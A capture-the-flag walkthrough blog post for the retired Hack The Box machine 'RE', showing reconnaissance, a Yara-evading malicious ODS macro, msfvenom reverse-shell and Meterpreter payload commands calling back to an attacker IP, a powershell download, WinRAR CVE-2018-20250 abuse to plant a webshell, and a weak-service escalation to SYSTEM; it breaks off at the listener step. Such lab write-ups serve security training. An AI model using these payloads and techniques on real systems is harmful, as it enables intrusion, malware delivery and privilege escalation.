This post documents the complete walkthrough of RE, a retired vulnerable VM created by 0xdf, and hosted at Hack The Box. If you are uncomfortable with spoilers, please stop reading now.

On this post

Background

RE is a retired vulnerable VM from Hack The Box.

Information Gathering

Let’s start with a masscan probe to establish the open ports in the host.

# masscan -e tun0 -p1-65535,U:1-65535 10.10.10.144 --rate=1000 Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2019-07-22 08:11:27 GMT -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth Initiating SYN Stealth Scan Scanning 1 hosts [131070 ports/host] Discovered open port 445/tcp on 10.10.10.144 Discovered open port 80/tcp on 10.10.10.144

masscan finds two open ports. Let’s do one better with nmap scanning the discovered ports to establish their services.

# nmap -n -v -Pn -p80,445 -A --reason -oN nmap.txt 10.10.10.144 ... PORT STATE SERVICE REASON VERSION 80/tcp open http syn-ack ttl 127 Microsoft IIS httpd 10.0 | http-methods: | Supported Methods: OPTIONS TRACE GET HEAD POST |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/10.0 |_http-title: Visit reblog.htb 445/tcp open microsoft-ds? syn-ack ttl 127

Hmm. Nothing much from nmap . But since SMB is enabled, let’s see what we can discover from smbmap .

Well, at least there’s a directory malware_dropbox we can read. Too bad it doesn’t have any files in it.

Time to check out the http service. Here’s what is looks like.

I better put reblog.htb into /etc/hosts .

Looks like there’s one more host to add to /etc/hosts . And, check out the HTML source of re.htb .

Is that a hint of privilege escalation? I’ve no clue how to proceed up to this point. Perhaps we can glean some insights from the blog posts?

Custom ODS and Evading Yara Detection

Two blog posts in reblog.htb hinted about possible evasion of Yara detection with ODS phishing. One of the links pointed to the creator’s external blog, where we can catch a glimpse of the Yara rules and how we can evade detection of malicious ODS files.

In addition, this post mentions the detection of run-of-the-mill stuff, particularly powershell and cmd.exe . Something for us to keep in mind while creating the custom ODS.

But where is the dropbox? Recall the malware_dropbox share? Although it says read-only, smbclient can actually put files into it.

I followed the steps in the creator’s blog to generate a ODS file from Metasploit and then changed the names of the subroutines and functions in LibreOffice macro editor like so.

Well, my payload dick.jar is a reverse shell written in Java generated by msfvenom . The box must have Java Runtime Environment (JRE) installed right, because of Kenny in IT.

# msfvenom -p java/shell_reverse_tcp LHOST=10.10.15.203 LPORT=1234 -f jar -o dick.jar Payload size: 7548 bytes Final size of jar file: 7548 bytes Saved as: dick.jar

We host the file with Python’s SimpleHTTPServer module. Upon opening the ODS file, the macro will download the payload with certutil.exe and write to c:\windows\tracing\dick.jar , a place where Everyone has write access. Next, we put in a new ODS file to execute the reverse shell.

We should get a reverse shell if nothing goes wrong.

Sweet. The user.txt is at luke ’s desktop.

Privilege Escalation

During enumeration of luke ’s account, I noticed a scheduled task running process_samples.ps1 under luke ’s privileges.

$process_dir = "C:\Users\luke\Documents\malware_process" $files_to_analyze = "C:\Users\luke\Documents\ods" $yara = "C:\Users\luke\Documents\yara64.exe" $rule = "C:\Users\luke\Documents\ods.yara" while ( $true ) { # Get new samples move C:\Users\luke\Documents\malware_dropbox\ * $process_dir # copy each ods to zip file Get-ChildItem $process_dir -Filter *. ods | Copy-Item -Destination { $_ . fullname -replace ".ods" , ".zip" } Get-ChildItem $process_dir -Filter *. zip | ForEach-Object { # unzip archive to get access to content $unzipdir = Join-Path $_ . directory $_ . Basename New-Item -Force -ItemType directory -Path $unzipdir | Out-Null Expand-Archive $_ . fullname -Force -ErrorAction SilentlyContinue -DestinationPath $unzipdir # yara to look for known malware $yara_out = & $yara -r $rule $unzipdir $ods_name = $_ . fullname -replace ".zip" , ".ods" if ( $yara_out . length -gt 0 ) { Remove-Item $ods_name } } # if any ods files left, make sure they launch, and then archive: $files = ls $process_dir \ *. ods if ( $files . length -gt 0 ) { # launch ods files Invoke-Item "C:\Users\luke\Documents\malware_process\*.ods" Start-Sleep -s 5 # kill open office, sleep Stop-Process -Name soffice * Start-Sleep -s 5 #& 'C:\Program Files (x86)\WinRAR\Rar.exe' a -ep $process_dir\temp.rar $process_dir\*.ods 2>&1 | Out-Null Compress-Archive -Path " $process_dir \*.ods" -DestinationPath " $process_dir \temp.zip" $hash = ( Get-FileHash -Algorithm MD5 $process_dir \temp.zip ) . hash # Upstream processing may expect rars. Rename to .rar Move-Item -Force -Path $process_dir \temp.zip -Destination $files_to_analyze \ $hash . rar } Remove-Item -Recurse -force -Path $process_dir \ * Start-Sleep -s 5 }

At the bottom of the script, there’s mention of upstream processing of RAR files. I noticed any RAR file I put into C:\users\luke\Documents\ods disappears faster than I can blink my eye while I was staring at my screen. Long story short, I was able to use EvilWinRar generator to exploit CVE-2018-20250 to write files as re/cam . But, what files do I write and where?

Recall the web server is IIS? In C:\inetpub\wwwroot , there are three folders blog , ip and re where luke has no write access. I can probably probably use EvilWinRar to write an ASPX webshell (from /usr/share/webshells/aspx/cmdasp.aspx in Kali Linux) to one of the folders.

Download the webshell.rar to C:\users\luke\Documents\ods like so.

C:\Users\luke\Documents\ods>powershell -nop -exec bypass -c iwr http://10.10.15.203:8000/webshell.rar -outfile .\webshell.rar

Bam, a webshell as IIS service.

Weak Service

I found out that accesschk.exe was installed as part of SysInternals during my enumeration earlier on. Using accesschk.exe , I was able to determine that NT AUTHORITY\SERVICE has full service access to UsoSvc.

Holy cow. I can change it to run a reverse shell as SYSTEM!

I should mention that I had previously written nc.exe to C:\inetpub\wwwroot\re with EvilWinRar in case you are wondering how can I run a reverse shell back.

With a SYSTEM shell, getting root.txt should be a breeze.

Not so fast. I need to impersonate coby . As SYSTEM , you can be anyone you want on the machine with ease using Meterpreter and the incognito extension. First, I generate Meterpreter with msfvenom .

# msfvenom -p windows/x64/meterpreter/reverse_tcp_rc4 LHOST=10.10.15.203 -f exe -o met.exe [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x64 from the payload No encoder or badchars specified, outputting raw payload Payload size: 650 bytes Final size of exe file: 7168 bytes Saved as: met.exe

Next, stand by Metasploit’s multi-handler and wait for Meterpreter.